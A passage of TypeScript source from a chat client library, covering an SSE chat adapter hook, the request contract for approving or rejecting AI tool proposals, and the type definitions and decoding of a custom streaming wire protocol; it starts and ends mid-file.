fetch/guard/decode lives in\n  // `use-chat-history-hydration.ts` (see there for the full contract +\n  // failure semantics: a miss starts the UI empty, never loses server\n  // context). THIS adapter owns the materialization seam: the hook hands\n  // back plain `Message[]` rows plus the user-turn count (via the shim ref\n  // below), and `hydrateMessages` feeds ALL of it through the REDUCER —\n  // `initializeWithState` on an empty thread, `prependMessages` when the\n  // user already sent before hydration landed (nothing typed is lost; the\n  // server resolves LLM history from its own store either way), and\n  // `seedSseMaps` for the send counter. No parallel merge path.\n  const historyUrl =\n    runtime.endpoints.chatHistoryUrl ??\n    `${runtime.endpoints.chatStreamUrl.replace(/\\/+$/, '')}/history`\n  const hydrationSendCountRef = useRef(0)\n  const hydrateMessages = useCallback(\n    (history: Message[], sourcesSeed?: Array<[number, unknown[]]>) => {\n      mutate((r) => {\n        const mapped = history.map(historyMessageToReducerMessage)\n        const liveSendCount = r.state.turnMeta.sendCount\n        if (r.state.messages.length === 0) {\n          r.initializeWithState(mapped)\n        } else {\n          r.prependMessages(mapped)\n        }\n        r.seedSseMaps({\n          // Restore the hydrated turns' \"Sources used\" chips (persisted\n          // audit copy, projected by the history route) alongside the\n          // send counter.\n          ...(sourcesSeed && sourcesSeed.length > 0 ? { sources: sourcesSeed } : {}),\n          sendCount: hydrationSendCountRef.current + liveSendCount,\n        })\n      })\n    },\n    [mutate],\n  )\n  const { isHydratingHistory, hydratedKeyRef } = useChatHistoryHydration({\n    active,\n    source,\n    historyUrl,\n    conversationIdRef,\n    sendCountRef: hydrationSendCountRef,\n    hydrateMessages,\n    // Meta invalidation is a reducer concern here: `seedSseMaps` (inside\n    // `hydrateMessages` above) already invalidates the snapshot.\n    bumpMetaTick: noopBumpMetaTick,\n  })\n\n  // ─── Send / stream loop ────────────────────────────────────────────────────\n\n  /**\n   * Internal sendMessage options — union of the public\n   * `UnifiedSendMessageOptions` (semantic fields: `hidden`, `attachments`)\n   * and SSE-only internal extras (`commandOverride`, `approvalAction`)\n   * set by `discussRef` / `displayRef` / the approval-card callbacks.\n   */\n  type InternalSendMessageOptions = UnifiedSendMessageOptions & {\n    commandOverride?: WireCommandOverride\n    approvalAction?: { proposalId: string; action: 'approve' | 'reject' }\n  }\n\n  const endpointsRef = useRef(runtime.endpoints)\n  endpointsRef.current = runtime.endpoints\n\n  /** Capture the SERVER-minted conversation id from a decoded metadata\n   *  event. On the session's FIRST turn this is where the client learns\n   *  its id — persist it so later turns and future visits continue the\n   *  same conversation. The reducer ignores the field (identity is a\n   *  transport/persistence concern, not render state). */\n  const captureConversationId = useCallback(\n    (event: ChatStreamEvent): void => {\n      if (event.type !== 'metadata') return\n      const id = event.conversationId\n      if (typeof id !== 'string' || !id) return\n      if (conversationIdRef.current === id) return\n      conversationIdRef.current = id\n      conversationStorage.save({ conversationId: id })\n    },\n    [conversationStorage],\n  )\n\n  const sendMessage = useCallback(\n    // Resolves `true` on a clean turn, `false` when the request failed\n    // (surfaced to batch approve-all loops via the card callbacks).\n    async (text: string, sendOptions?: InternalSendMessageOptions): Promise<boolean> => {\n      const { hidden, attachments, commandOverride, approvalAction } = sendOptions ?? {}\n\n      // URL + body branch — approvalAction routes to the approval-tool\n      // endpoint, the standard chat path routes to the chat-stream endpoint.\n      // `source` is INTENTIONALLY NOT in the body: the chat route resolves\n      // it server-side via its own platform-detection — tamper-proof binding.\n      //\n      // The server is the single source of conversation history: it re-reads\n      // `chat_messages` by conversation id on every turn. The wire therefore\n      // carries ONLY the new user message — never the prior conversation.\n      const conversationId = conversationIdRef.current\n      const targetPath = approvalAction\n        ? endpointsRef.current.approvalToolUrl\n        : endpointsRef.current.chatStreamUrl\n      const requestBody = approvalAction\n        ? // Shared with every other transport that resolves a hub proposal —\n          // the body shape is the hub's, not this adapter's. `conversationId`\n          // is always present here: an approval can only happen inside an\n          // established conversation (the proposal turn captured the id).\n          buildConfirmToolBody({ ...approvalAction, conversationId })\n        : {\n            messages: [{ role: 'user', content: text }],\n            ...(commandOverride ? { commandOverride } : {}),\n            ...(attachments && attachments.length > 0\n              ? { pendingAttachments: attachments as ChatAttachment[] }\n              : {}),\n            ...(conversationId ? { conversationId } : {}),\n          }\n\n      // Optimistic user bubble + assistant placeholder + phase 'thinking'\n      // + sendCount++ — one reducer command.\n      mutate((r) =>\n        r.beginSseSend({ text, hidden, userName: 'You', assistantName: 'Mingo AI' }),\n      )\n\n      const ctrl = new AbortController()\n      abortControllerRef.current = ctrl\n\n      try {\n        // `embedAuthedFetch` carries the bearer-act-as headers (+ Supabase\n        // session cookies) — same wrapper `use-chat-attachments` and\n        // `use-chat-identity` use.\n        const response = await embedAuthedFetch(targetPath, {\n          method: 'POST',\n          body: JSON.stringify(requestBody),\n          signal: ctrl.signal,\n        })\n        if (!response.ok) {\n          // Surface the SERVER's error copy (route-base envelope\n          // `{error, code}`) — a bare \"Chat request failed: 409\" told\n          // the user nothing when e.g. a batch approval expired; the\n          // server ships real copy (\"This approval expired — ...\").\n          const serverMessage = await readServerErrorMessage(response)\n          throw new Error(serverMessage ?? `Chat request failed: ${response.status}`)\n        }\n        const reader = response.body?.getReader()\n        if (!reader) throw new Error('No response body')\n\n        // Decoder is per-send (a rapid send-stop-send sequence must never\n        // feed the second stream's first chunk into the first stream's\n        // tail buffer).\n        const frameDecoder = createSseFrameDecoder()\n        let finished = false\n        try {\n          while (true) {\n            const { done, value } = await reader.read()\n            if (done) break\n            if (ctrl.signal.aborted) break\n            for (const event of frameDecoder.push(value)) {\n              captureConversationId(event)\n              applyEvent(event)\n            }\n          }\n          finished = true\n        } finally {\n          // `end()` always runs so the decoder settles; its events (the\n          // trailing usage frame) apply only on a CLEAN end — aborts\n          // propagate without extra state (legacy parity).\n          const endEvents = frameDecoder.end()\n          if (finished) {\n            for (const event of endEvents) applyEvent(event)\n          }\n        }\n        return true\n      } catch (err) {\n        // AbortError on user-initiated stop is expected — keep the partial\n        // message, no error row, and DON'T report failure (`true`): the\n        // request may have committed server-side, and a `false` here\n        // would falsely tick a batch row's failure cross.\n        if ((err as { name?: string })?.name === 'AbortError' || ctrl.signal.aborted) {\n          return true\n        }\n        flushDeltas()\n        mutate((r) =>\n          r.failSseTurn(\n            err instanceof Error\n              ? err.message\n              : 'An error occurred while processing your request.',\n          ),\n        )\n        return false\n      } finally {\n        if (abortControllerRef.current === ctrl) {\n          abortControllerRef.current = null\n        }\n        // Force-flush pending deltas BEFORE the completion state lands, then\n        // settle the turn (drops an empty trailing placeholder — the reject\n        // path streams no text — and returns the phase to idle).\n        flushDeltas()\n        mutate((r) => r.endSseTurn())\n      }\n    },\n    [mutate, applyEvent, flushDeltas, captureConversationId],\n  )\n  sendMessageRef.current = sendMessage\n\n  const stopMessage = useCallback(() => {\n    abortControllerRef.current?.abort()\n    flushDeltas()\n    mutate((r) => r.setPhase('idle'))\n  }, [mutate, flushDeltas])\n\n  const clearMessages = useCallback(() => {\n    mutate((r) => r.reset())\n    // New chat = drop the stored conversation id. The old row stays frozen\n    // server-side; the NEXT send goes out id-less and the server mints a\n    // fresh conversation (echoed back and re-captured then). Resetting the\n    // hydration guard means a re-captured id can hydrate again if needed.\n    conversationIdRef.current = null\n    conversationStorage.clear()\n    hydrationSendCountRef.current = 0\n    hydratedKeyRef.current = null\n  }, [mutate, conversationStorage, hydratedKeyRef])\n\n  // ─── Public message mapping (sendIdx fan-out lookup) ──────────────────────\n  // Index sources/scrollAnchor by USER-SEND count (`sendIdx`), not by\n  // assistant-message count. Each user send produces exactly ONE sources\n  // entry server-side, but it can produce MULTIPLE assistant messages on the\n  // client (main RAG reply + post-approve card + auto-continuation prose).\n  // Counting VISIBLE user sends and mapping every following assistant\n  // message to that index keeps the lookup stable — server hydration seeds\n  // the same maps (via `seedSseMaps`) so hydrated turns resolve identically.\n  const docMessages: DocChatMessage[] = useMemo(() => {\n    const { meta, sources: sourcesMap } = state.turnMeta\n    let sendIdx = -1\n    return state.messages.map((m) => {\n      const segments = m.segments\n      const content =\n        typeof m.content === 'string' && !segments\n          ? m.content\n          : segments\n              ?.filter((s) => s.type === 'text')\n              .map((s) => (s as { type: 'text'; text: string }).text)\n              .join('') ?? ''\n\n      let sources: ChatSource[] | undefined\n      let scrollAnchor: ScrollAnchor | undefined\n      if (m.role === 'user' && !m.hidden) {\n        sendIdx++\n      }\n      if (m.role === 'assistant') {\n        const lookupIdx = sendIdx >= 0 ? sendIdx : 0\n        sources = sourcesMap.get(lookupIdx) as ChatSource[] | undefined\n        scrollAnchor = (meta.get(lookupIdx)?.scrollAnchor as ScrollAnchor | null) ?? undefined\n      }\n\n      return {\n        id: m.id,\n        role: m.role as 'user' | 'assistant',\n        content,\n        ...(segments ? { segments } : {}),\n        ...(sources ? { sources } : {}),\n        ...(scrollAnchor ? { scrollAnchor } : {}),\n        ...(m.hidden ? { hidden: true } : {}),\n      }\n    })\n  }, [state.messages, state.turnMeta])\n\n  /**\n   * \"Display\" callback for inline cards whose registry entry sets\n   * `displayAction: true`. Parallel to `discussRef` but emits a\n   * `/<cmd> display \"<title>\"` slash command instead of the Discuss prose.\n   */\n  const displayRef = useCallback(\n    (reference: ChatRef) => {\n      const tableId = tableIdForDocumentType(reference.type)\n      if (!tableId) {\n        console.warn(\n          `[useSseChatAdapter] displayRef: no tableId for documentType=\"${reference.type}\"; ignoring click`,\n        )\n        return\n      }\n      const cmdId = cmdIdByTableId.get(tableId)\n      if (!cmdId) {\n        console.warn(\n          `[useSseChatAdapter] displayRef: no slash command for tableId=\"${tableId}\" source=\"${source}\"; ignoring click`,\n        )\n        return\n      }\n      const refSlug =\n        typeof reference.metadata?.slug === 'string' &&\n        reference.metadata.slug.length > 0\n          ? reference.metadata.slug\n          : ''\n      const queryValue =\n        refSlug || sanitizeTitleForChat(reference.title) || reference.id\n      // Escape `\\` BEFORE `\"` so a trailing backslash can't smuggle a\n      // close-quote past parsers that honor JS-style escapes. Matches\n      // `formatSingularLookupInvocation`'s pattern in slash-dispatch-utils.\n      const escaped = queryValue\n        .replace(/\\\\/g, '\\\\\\\\')\n        .replace(/\"/g, '\\\\\"')\n      const text = `/${cmdId} display \"${escaped}\"`\n      sendMessage(text)\n    },\n    [sendMessage, source, cmdIdByTableId, tableIdForDocumentType],\n  )\n\n  /**\n   * \"Discuss\" affordance for ObjectCard. Synthesizes a natural-language\n   * prompt (\"Tell me more about <title>\"); the structured\n   * `commandOverride.entityIdFilter` is sent server-side via the request\n   * body so retrieval narrows to the named row.\n   */\n  const discussRef = useCallback(\n    (reference: ChatRef) => {\n      const tableId = tableIdForDocumentType(reference.type)\n      if (!tableId) {\n        console.warn(\n          `[useSseChatAdapter] discussRef: no tableId for documentType=\"${reference.type}\"; ignoring click`,\n        )\n        return\n      }\n      const refId = (reference.id ?? '').trim()\n      if (!refId) {\n        console.warn(\n          `[useSseChatAdapter] discussRef: empty reference.id for type=\"${reference.type}\"; ignoring click`,\n        )\n        return\n      }\n      // RETRIEVAL IS STRICTLY PRIMARY-KEY-DRIVEN. The visible prose\n      // (\"Tell me more about <title>\") is UX-only; retrieval narrows\n      // via `entityIdFilter` before the LLM is invoked. The sentence itself\n      // comes from the shared builder so the Mingo transport (which has no\n      // id filter and leans on the prose) phrases it identically.\n      const prompt = buildDiscussPrompt(reference)\n      sendMessage(prompt, {\n        commandOverride: { entityIdFilter: { tableId, id: refId } },\n      })\n    },\n    [sendMessage, tableIdForDocumentType],\n  )\n\n  // ─── Per-turn metadata resolution ─────────────────────────────────────────\n  const latestMeta = useMemo(() => {\n    const { meta, sendCount } = state.turnMeta\n    return meta.get(sendCount - 1) ?? meta.get(sendCount - 2) ?? null\n  }, [state])\n\n  const streamingPhase = state.streamingPhase\n\n  return {\n    messages: docMessages,\n    isLoading: streamingPhase !== 'idle',\n    sendMessage,\n    /** \"Discuss\" affordance for ObjectCard. */\n    discussRef,\n    /** \"Display\" counterpart of `discussRef`. */\n    displayRef,\n    stopMessage,\n    clearMessages,\n    streamingPhase,\n    /** True while the mount-time rebuild from the server transcript runs. */\n    isHydratingHistory,\n    /** Provider key for the lib's `<ModelDisplay>` icon. */\n    currentProvider: latestMeta?.provider ?? null,\n    currentModelLabel: latestMeta?.modelLabel ?? null,\n    currentContextWindowMaxTokens: latestMeta?.contextWindowMaxTokens ?? null,\n    /** Input tokens (known after server's message_start frame; null until). */\n    currentInputTokens: latestMeta?.inputTokens ?? null,\n    /** Output tokens (known only after server's trailing usage frame). */\n    currentOutputTokens: latestMeta?.outputTokens ?? null,\n    /** Cache hit % (read / total-input × 100). null during streaming. */\n    currentCacheHitRatePct: latestMeta?.cacheHitRatePct ?? null,\n    /** Cross-call usage breakdown (Haiku rewriter/classifier/summarizer\n     *  token counts). null until the trailing usage frame lands. */\n    currentUsageBreakdown: latestMeta?.breakdown ?? null,\n    // ─── Dialog management — stubs for v1 ────────────────────────────────\n    // Guide mode keeps ONE server-side conversation per stored id\n    // (`chat_conversations`, hydrated on mount). Surfacing multiple threads\n    // as a structured dialog list is a follow-up; for now the shape is\n    // satisfied with empty defaults so the unified contract type-checks and\n    // EmbeddableChat hides sidebar affordances when `dialogs.length === 0`.\n    dialogs: SSE_EMPTY_DIALOGS,\n    activeDialogId: null,\n    selectDialog: noopSelectDialog,\n    startNewDialog: noopStartNewDialog,\n    deleteDialog: noopDeleteDialog,\n    renameDialog: noopRenameDialog,\n    archiveDialog: noopArchiveDialog,\n    isDialogsLoading: false,\n    // SSE/guide has no server-side dialog list — never errors, nothing to retry.\n    dialogsError: false,\n    reloadDialogs: noopAsync,\n    isMessagesLoading: false,\n    hasMoreDialogs: false,\n    loadMoreDialogs: noopAsync,\n    hasMoreMessages: false,\n    loadMoreMessages: noopAsync,\n    approveRequest: noopApproveRequest,\n    rejectRequest: noopRejectRequest,\n    dialogTokenUsage: null,\n    connectionState: 'connected' as const,\n  }\n}\n\n// ─── Stable no-op references for the Guide-mode dialog-management stubs ──\n// Plain module-scope constants so the adapter's return identity stays\n// stable across renders — consumers that memo on these fields don't get\n// spurious re-runs.\nconst SSE_EMPTY_DIALOGS: DialogItem[] = []\nconst noopSelectDialog = (_id: string | null): void => {\n  /* Guide mode has no managed dialog list yet */\n}\nconst noopStartNewDialog = async (): Promise<string | null> => null\nconst noopDeleteDialog = async (_id: string): Promise<void> => {\n  /* no-op until Guide server-side history is exposed as dialogs */\n}\nconst noopRenameDialog = async (_id: string, _title: string): Promise<void> => {\n  /* no-op until Guide server-side history is exposed as dialogs */\n}\nconst noopArchiveDialog = async (_id: string): Promise<void> => {\n  /* no-op until Guide server-side history is exposed as dialogs */\n}\nconst noopAsync = async (): Promise<void> => {\n  /* no-op pagination stub */\n}\nconst noopApproveRequest = async (_id: string): Promise<void> => {\n  /* Guide mode has no tool-call approval workflow */\n}\nconst noopRejectRequest = async (_id: string, _reason?: string): Promise<void> => {\n  /* Guide mode has no tool-call approval workflow */\n}\n/** Stable no-op for the hydration hook's `bumpMetaTick` seam — reducer\n *  invalidation (inside `hydrateMessages`) already re-renders subscribers. */\nconst noopBumpMetaTick = (): void => {}\n","/**\n * The hub's confirm-tool contract — request shape and error envelope.\n *\n * Resolving a Product Guide proposal is a POST to `endpoints.approvalToolUrl`\n * whose response is an ordinary guide stream (a `decision_resolved` frame, then\n * the hub's auto-continuation). Two callers make that call today: the SSE chat\n * adapter, and any host replaying the same route into a different transport's\n * conversation (the product app resolves guide cards inside a NATS Mingo\n * dialog). They MUST send byte-identical bodies — a proposal is single-use, so a\n * caller that drifts on a field name does not degrade, it fails the write — and\n * they must surface the same server copy, because the hub's errors are written\n * for the end user (\"This approval expired — ask again to get a fresh one\").\n *\n * Hence both live here rather than at either call site.\n *\n * Server-safe: no React, no browser APIs.\n */\n\n/** What the user did with the card. */\nexport type ApprovalToolAction = 'approve' | 'reject'\n\n/** Client-side shape of a confirm; `buildConfirmToolBody` renames it to the\n *  wire's own casing so no caller hand-writes `proposal_id`. */\nexport interface ConfirmToolRequest {\n  /** The hub-minted proposal id carried by the card. */\n  proposalId: string\n  action: ApprovalToolAction\n  /**\n   * The hub's conversation id, quoted back verbatim. The hub rejects a confirm\n   * without it: a proposal only means something inside the conversation that\n   * minted it.\n   */\n  conversationId: string | null | undefined\n}\n\n/** Build the confirm-tool request body. The ONE place that knows the wire\n *  spells the id `proposal_id` while everything else is camelCase. */\nexport function buildConfirmToolBody(request: ConfirmToolRequest): Record<string, unknown> {\n  return {\n    proposal_id: request.proposalId,\n    action: request.action,\n    conversationId: request.conversationId,\n  }\n}\n\n/**\n * Pull the user-facing copy out of a failed chat/confirm response.\n *\n * The route-base envelope is `{error, code}`; `error` is written for the end\n * user, so it beats any status-code copy the client could invent. Returns null\n * when the body is not that envelope (HTML error page, empty body, gateway\n * response) — the caller then supplies its own generic line.\n *\n * Consumes the body: call it once, on a response you have already decided is a\n * failure.\n */\nexport async function readServerErrorMessage(response: {\n  json: () => Promise<unknown>\n}): Promise<string | null> {\n  try {\n    const body = (await response.json()) as { error?: unknown } | null\n    if (typeof body?.error === 'string' && body.error.length > 0) return body.error\n  } catch {\n    /* non-JSON error body — the caller falls through to its generic copy */\n  }\n  return null\n}\n","/**\n * SSE wire-protocol frame shapes — the byte-level contract between the\n * hub's chat stream emitter (`multi-platform-hub/lib/utils/claude-util.ts`)\n * and the lib's SSE decoder (`./decode.ts`).\n *\n * Wire format (custom byte framing, NOT standard SSE `data:` lines):\n *\n *   [JSON frame]\\0 [JSON frame]\\0 …  \\x1E  <raw UTF-8 answer deltas>  \\x1F [JSON usage trailer]\n *\n *   1. LEADING frames — each a JSON object terminated by `\\0`\n *      (FRAME_TERMINATOR). Status, metadata, routing, live thinking\n *      deltas, usage:start, tool approval frames.\n *   2. ONE `\\x1E` byte (END_OF_LEADING) — flips the stream into raw\n *      UTF-8 answer-text mode.\n *   3. `\\x1F` (TRAILER_SENTINEL) + one JSON usage frame running to\n *      stream end (no terminator).\n *\n * Server-safe: no React, no browser APIs beyond TextEncoder/TextDecoder.\n */\n\n// =============================================================================\n// Sentinel constants\n// =============================================================================\n\n/** Terminates every leading JSON frame. */\nexport const FRAME_TERMINATOR = '\\0'\n/** Record Separator — end of leading frames, start of raw answer text. */\nexport const END_OF_LEADING = '\\x1E'\n/** Unit Separator — start of the trailing usage JSON frame. */\nexport const TRAILER_SENTINEL = '\\x1F'\n\n// =============================================================================\n// Routing types (moved verbatim from the hub's `lib/chat/wire-frames.ts`;\n// `RouteComplexity` is lib-local so the lib never imports hub code)\n// =============================================================================\n\n/** Server-side routing complexity tiers. Mirror of the hub's\n *  `lib/constants/ai-models.ts` union — kept as a lib-local literal type\n *  so the wire SSOT has zero hub imports. The DECODER accepts any string\n *  (older/newer servers may ship values outside this union). */\nexport type RouteComplexity = 'trivial' | 'default' | 'complex' | 'deep'\n\n/**\n * Routing decision frame. Emitted once per turn as a LEADING frame\n * (between metadata and the `\\x1E` end-of-leading-frames sentinel) when\n * the server's `decideRoute()` produces a `Route`.\n *\n * Field names use the `routed*` prefix on PURPOSE — the client's\n * catch-all leading-frame branch inspects `meta.model` / `meta.modelLabel`.\n * A bare `model` field on this frame would OVERWRITE the metadata frame's\n * modelLabel and break the <ModelDisplay> badge. The `routed` prefix\n * sidesteps that collision.\n *\n * Older clients that don't recognize `kind: 'routing'` silently drop\n * the frame (the catch-all only matches frames carrying known fields\n * like `sources` / `modelLabel`).\n */\nexport interface RoutingFrame {\n  kind: 'routing'\n  routedComplexity: RouteComplexity\n  routedModel: string\n  routedThinkingBudget: number\n}\n\n/**\n * Optional field on the trailing usage frame's `breakdown`. Surfaces\n * per-route attribution to the admin test console so an operator can\n * see \"this turn ran on Haiku/trivial/$0.0005\" without re-parsing the\n * stream. Additive: clients that ignore unknown keys keep working.\n */\nexport interface RoutedAnswerBreakdown {\n  model: string\n  complexity: RouteComplexity\n  thinkingBudget: number\n}\n\n// =============================================================================\n// Leading frames\n// =============================================================================\n\n/** First frame on every stream — lets the shell render \"Thinking…\"\n *  within ~200ms, before any upstream byte arrives. */\nexport interface StatusThinkingFrame {\n  status: 'thinking'\n}\n\n/** Per-turn metadata frame. The emitter sends `options.metadata`\n *  verbatim. All fields optional — the decoder's catch-all treats ANY\n *  frame that didn't match a `kind` discriminant as metadata-ish. */\nexport interface ChatMetadataFrame {\n  /** Retrieval sources for the source-chip strip. Host-defined row\n   *  shape (`ChatSource` on the adapter side) — opaque at wire level. */\n  sources?: unknown[]\n  /** Raw model id (e.g. 'claude-sonnet-x'). Presence alone triggers the\n   *  client's meta merge; the value itself is not stored. */\n  model?: string\n  modelLabel?: string\n  provider?: string\n  contextWindowMaxTokens?: number\n  /** Per-message viewport-positioning hint ('top' | 'bottom'). */\n  scrollAnchor?: string\n  /** SERVER-minted conversation trace id (`chat_conversations.id`),\n   *  echoed on every turn's leading metadata frame. The client never\n   *  generates ids — the first turn of a session goes out id-less, the\n   *  server mints one and echoes it here, and the adapter persists the\n   *  echoed id as its ONLY local state (see\n   *  `chat-conversation-storage.ts` on the consumer side). */\n  conversationId?: string\n}\n\n/** Live adaptive-thinking delta. WIRE IS ALREADY DELTA (Anthropic\n *  thinking_delta slices) — decoders must NOT diff or re-accumulate. */\nexport interface ThinkingDeltaFrame {\n  kind: 'thinking-delta'\n  text: string\n}\n\n/** Usage frame emitted as a LEADING frame right after Anthropic's\n *  message_start (stage='start'). */\nexport interface UsageStartFrame {\n  kind: 'usage'\n  stage: 'start'\n  input_tokens: number\n  cache_read_input_tokens?: number\n  cache_creation_input_tokens?: number\n}\n\n/** Model preamble prose written BEFORE a tool_use block — emitted as a\n *  standalone leading frame so it isn't stranded behind the approval\n *  card (the `\\x1E` sentinel is suppressed on tool turns). */\nexport interface TextLeadingFrame {\n  kind: 'text-leading'\n  text: string\n}\n\n/** Tool invocation failed server-side (proposal persist error,\n *  validation, ownership denial …). */\nexport interface ToolErrorFrame {\n  kind: 'tool_error'\n  toolName?: string\n  toolUseId?: string\n  message: string\n}\n\nexport interface ApprovalRequestField {\n  label: string\n  value: string\n}\n\n/** The model called a write tool; the server persisted a proposal and\n *  ships a card-ready payload. Shape mirrors the hub's `onToolUse`\n *  return in `lib/data/doc-chat-utils.ts`. */\nexport interface ApprovalRequestFrame {\n  kind: 'approval_request'\n  proposalId: string\n  toolName: string\n  title?: string\n  fields?: ApprovalRequestField[]\n  preamble?: string | null\n  args?: Record<string, unknown>\n  expiresAt?: string\n  ttlSeconds?: number\n}\n\n/** A single write-tool turn produced MULTIPLE proposals (batch\n *  operations — \"delete both\", \"close all three\"). The SERVER is the\n *  authority on the grouping: it collects the turn's proposals and\n *  ships ONE batch frame instead of N `approval_request` frames, so\n *  clients render the bulk-approval component without any adjacency\n *  heuristics. Single-proposal turns keep the classic\n *  `approval_request` frame. */\nexport interface ApprovalBatchFrame {\n  kind: 'approval_batch'\n  /** Stable batch anchor — client-side only (locates the batch segment\n   *  for status flips). MUST NOT equal any row's `proposalId`: the\n   *  click-time optimistic status flip keys on this id, and an anchor\n   *  that doubles as a row id would falsely tick that row's execution\n   *  as succeeded before its confirm ran (masking a failed write). The\n   *  server emits `batch:<first proposalId>`. */\n  batchId: string\n  proposals: Array<{\n    proposalId: string\n    toolName: string\n    title?: string\n    fields?: ApprovalRequestField[]\n    expiresAt?: string\n    ttlSeconds?: number\n  }>\n}\n\n/** Server-driven post-approve / post-reject frame (confirm-tool route).\n *  Mirror of the hub's `DecisionResolvedFrame` in\n *  `lib/data/chat-agent-utils.ts` (tool_name widened to string — the\n *  known-write-tool whitelist is host-side knowledge). */\nexport interface DecisionResolvedFrame {\n  kind: 'decision_resolved'\n  /** The proposal this decision resolved — locates the SOURCE approval\n   *  card so the shell can flip its status + append the receipt. */\n  proposalId: string\n  ok: boolean\n  action: 'approved' | 'rejected'\n  tool_name?: string\n  result?: {\n    ticket_id?: string\n    status?: string | null\n    mirror_synced?: boolean\n  }\n  /** True when the server WILL pipe an auto-continuation turn after\n   *  this frame. */\n  willAutoContinue: boolean\n  /** Pre-rendered receipt copy from the source strategy's\n   *  `receiptRenderer` — client renders verbatim. */\n  receiptText?: string\n}\n\n/** Every leading frame the emitter can produce. */\nexport type SseLeadingFrame =\n  | StatusThinkingFrame\n  | ChatMetadataFrame\n  | RoutingFrame\n  | ThinkingDeltaFrame\n  | UsageStartFrame\n  | TextLeadingFrame\n  | ToolErrorFrame\n  | ApprovalRequestFrame\n  | ApprovalBatchFrame\n  | DecisionResolvedFrame\n\n// =============================================================================\n// Trailing usage frame\n// =============================================================================\n\n/** Card/chip emission counts for admin adoption tooling. */\nexport interface UsageTelemetry {\n  cards: number\n  chips: number\n  sentences: number\n  answerLen: number\n}\n\n/** Trailing usage frame — `\\x1F` + JSON, runs to stream end (no\n *  terminator). `stage: 'display'` is a legacy alias the decoder treats\n *  identically to `'end'`. */\nexport interface SseTrailingUsageFrame {\n  kind: 'usage'\n  stage: 'end' | 'display'\n  input_tokens?: number\n  output_tokens?: number\n  cache_read_input_tokens?: number\n  cache_creation_input_tokens?: number\n  hit_rate_pct?: number\n  telemetry?: UsageTelemetry\n  /** Cross-call usage breakdown (Haiku rewriter / classifier /\n   *  summarizer + routed-answer attribution). */\n  breakdown?: {\n    haikuRewriter?: { input: number; output: number }\n    haikuClassifier?: { input: number; output: number }\n    haikuSummarizer?: { input: number; output: number }\n    routedAnswer?: RoutedAnswerBreakdown\n  }\n  /** Gated deep-debug payload (only present when the request carried\n   *  the privileged debug secret). */\n  debug?: Record<string, unknown>\n}\n","/**\n * Leading-frame → `ChatStreamEvent` table — the ONE mapping both transports read.\n *\n * The SSE decoder (`./decode.ts`) reaches it while walking the hub's byte\n * framing. The NATS decoder (`./nats-decoder.ts`) reaches it for `GUIDE` chunks\n * carrying a `payload`: the saas-ai-agent re-streams the Product Guide's hub\n * frames VERBATIM into the Mingo chunk stream (`GuideStreamingService`), so the\n * bytes a guide answer is made of are the same frames on both transports — only\n * the envelope differs. Decoding them twice would drift the moment the hub adds\n * a frame kind, which is why this table lives outside either decoder.\n *\n * The NATS side does NOT take every event this table can produce; see\n * `guideFrameEvent` in `./nats-decoder.ts` for which ones cross over and why.\n *\n * Server-safe: no React, no browser APIs.\n */\n\nimport type { ChatStreamEvent } from './events'\n\n/**\n * Escape `<` so markdown renderers that pass HTML through (rehypeRaw)\n * don't treat XML-like tokens in Claude's thinking output as elements.\n * `<` → `&lt;` preserves the visible character without breaking\n * blockquote `>` markers. Per-character, so it distributes over\n * concatenation: escape(a + b) === escape(a) + escape(b) — callers may\n * apply it per-delta or on the accumulated string interchangeably.\n */\nexport function escapeThinkingTags(text: string): string {\n  return text.replace(/</g, '&lt;')\n}\n\n/**\n * Map one parsed leading frame to normalized events, replicating the\n * legacy parser's else-if chain ORDER and its exact truthiness/typeof\n * gates. Frames that matched a branch but failed its inner validation\n * (e.g. `routing` without a string `routedComplexity`) produce NO event,\n * exactly like the legacy no-op.\n *\n * Every branch pushes AT MOST ONE event — `guideFrameEvent` relies on that\n * to hand a single event back to `decodeNatsChunk`'s per-chunk contract.\n */\nexport function mapLeadingFrame(meta: any, out: ChatStreamEvent[]): void {\n  if (meta.status === 'thinking') {\n    out.push({ type: 'status', phase: 'thinking' })\n  } else if (meta.kind === 'thinking-delta' && typeof meta.text === 'string') {\n    // Wire is ALREADY delta — emit verbatim, append-only contract.\n    out.push({ type: 'thinking-delta', text: meta.text })\n  } else if (meta.kind === 'usage' && meta.stage === 'start') {\n    out.push({\n      type: 'usage',\n      stage: 'start',\n      input_tokens: meta.input_tokens,\n      cache_read_input_tokens: meta.cache_read_input_tokens,\n      cache_creation_input_tokens: meta.cache_creation_input_tokens,\n    })\n  } else if (meta.kind === 'decision_resolved' && typeof meta.action === 'string') {\n    const status = meta.action === 'rejected' ? 'rejected' : 'approved'\n    const toolName = typeof meta.tool_name === 'string' ? meta.tool_name : undefined\n    const result = meta.result ?? null\n    out.push({\n      type: 'approval-resolved',\n      status,\n      ok: meta.ok === true,\n      willAutoContinue: meta.willAutoContinue === true,\n      ...(toolName ? { toolName } : {}),\n      ...(result ? { result } : {}),\n      ...(typeof meta.receiptText === 'string' ? { receiptText: meta.receiptText } : {}),\n      requestId: typeof meta.proposalId === 'string' ? meta.proposalId : undefined,\n    })\n  } else if (meta.kind === 'approval_batch' && meta.batchId && Array.isArray(meta.proposals)) {\n    // Server-grouped multi-proposal turn → ONE batch event carrying a\n    // tool-call row per proposal. `toolExecutionRequestId` is the row's\n    // PROPOSAL id (each row resolves through its own per-proposal\n    // confirm); the batch's `requestId` is the stable anchor the shell\n    // uses for status flips. Field rows ride as the row's expandable\n    // args so per-proposal detail stays reachable inside the batch.\n    const toolCalls = (meta.proposals as Array<Record<string, any>>)\n      .filter((p) => p && typeof p.proposalId === 'string')\n      .map((p) => {\n        const rawFields = Array.isArray(p.fields)\n          ? (p.fields as Array<{ label?: string; value?: string }>).filter(\n              (f) => f && f.label && f.value,\n            )\n          : []\n        // Prefer human-readable identity labels for the row's\n        // disambiguator; opaque-id labels (\"Task\", \"Ticket\") only as\n        // the last-resort first field.\n        const detail =\n          rawFields.find((f) => /^(title|subject|name)$/i.test(String(f.label))) ??\n          rawFields[0]\n        const base =\n          typeof p.title === 'string' && p.title.length > 0 ? p.title : String(p.toolName ?? 'Tool call')\n        return {\n          toolExecutionRequestId: String(p.proposalId),\n          toolName: String(p.toolName ?? 'tool'),\n          toolTitle: detail ? `${base} — ${detail.value}` : base,\n          requiresApproval: true,\n          toolCallArguments:\n            rawFields.length > 0\n              ? Object.fromEntries(rawFields.map((f) => [String(f.label), String(f.value)]))\n              : null,\n        }\n      })\n    if (toolCalls.length > 0) {\n      out.push({\n        type: 'approval-request',\n        requestId: String(meta.batchId),\n        approvalType: 'chat',\n        toolCalls,\n        